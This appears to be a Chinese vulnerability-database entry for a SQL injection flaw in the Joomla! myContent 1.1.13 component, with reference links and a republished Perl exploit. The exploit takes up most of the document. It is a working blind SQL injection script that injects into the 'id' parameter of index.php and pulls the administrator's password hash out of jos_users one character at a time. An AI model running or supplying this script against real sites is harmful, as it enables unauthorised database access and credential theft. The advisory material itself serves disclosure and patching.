Joomla! 组件myContent脚本'index.php' SQL注入漏洞

https://www.exploit-db.com/exploits/5714
https://www.securityfocus.com/bid/29468
https://cxsecurity.com/issue/WLB-2009030151
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-139

Joomla!MyContent是Joomla!的一个内容列表的组件，可以让作者在一个列表中的看到所有内容，这意味着他们可以从前端编辑未发布的的项目。MyContent(com_mycontent)组件1.1.13中存在SQL注入漏洞。远程攻击者可以借助对index.php的一个view操作中的id参数，执行任意SQL指令。

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #############################################################\n";
  print "   #   Joomla Component mycontent Blind SQL Injection Exploit  #\n";
  print "   #   Author:His0k4 [ALGERIAN HaCkeR]                         #\n";
  print "   #                                                           #\n";
  print "   #   Conctact: His0k4.hlm[at]gamil.com                       #\n";
  print "   #   Greetz:   All friends & muslims HacKeRs                 #\n";
  print "   #   Greetz2:  http://www.palcastle.org/cc :)                #\n";
  print "   #                                                           #\n";
  print "   #   Usage:   perl mycontent.pl host path <options>          #\n";
  print "   #   Example: perl mycontent.pl www.host.com /joomla/ -r 10  #\n";
  print "   #                                                           #\n";
  print "   #   Options:                                                #\n";
  print "   #     -r    Valid  id                                       #\n";
  print "   #   Note:                                                   #\n";
  print "   #   If the exploit failed                                   #\n";
  print "   #   Change 'regexp' value to the title of the page          #\n";
  print "   #############################################################\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $rid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "r=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

if($options{"r"})
{
  $rid = $options{"r"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $rid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $rid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $rid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_mycontent&task=view&id=".$rid." and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "E-mail";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2008-06-01]

Mark Fabrizio myContent 1.1.13

来源:XF
名称:mycontent-index-sql-injection(42783)
链接:http://xforce.iss.net/xforce/xfdb/42783
来源:BID
名称:29468
链接:http://www.securityfocus.com/bid/29468
来源:MILW0RM
名称:5714
链接:http://www.milw0rm.com/exploits/5714
来源:SECUNIA
名称:30490
链接:http://secunia.com/advisories/30490
来源:OSVDB
名称:45852
链接:http://osvdb.org/45852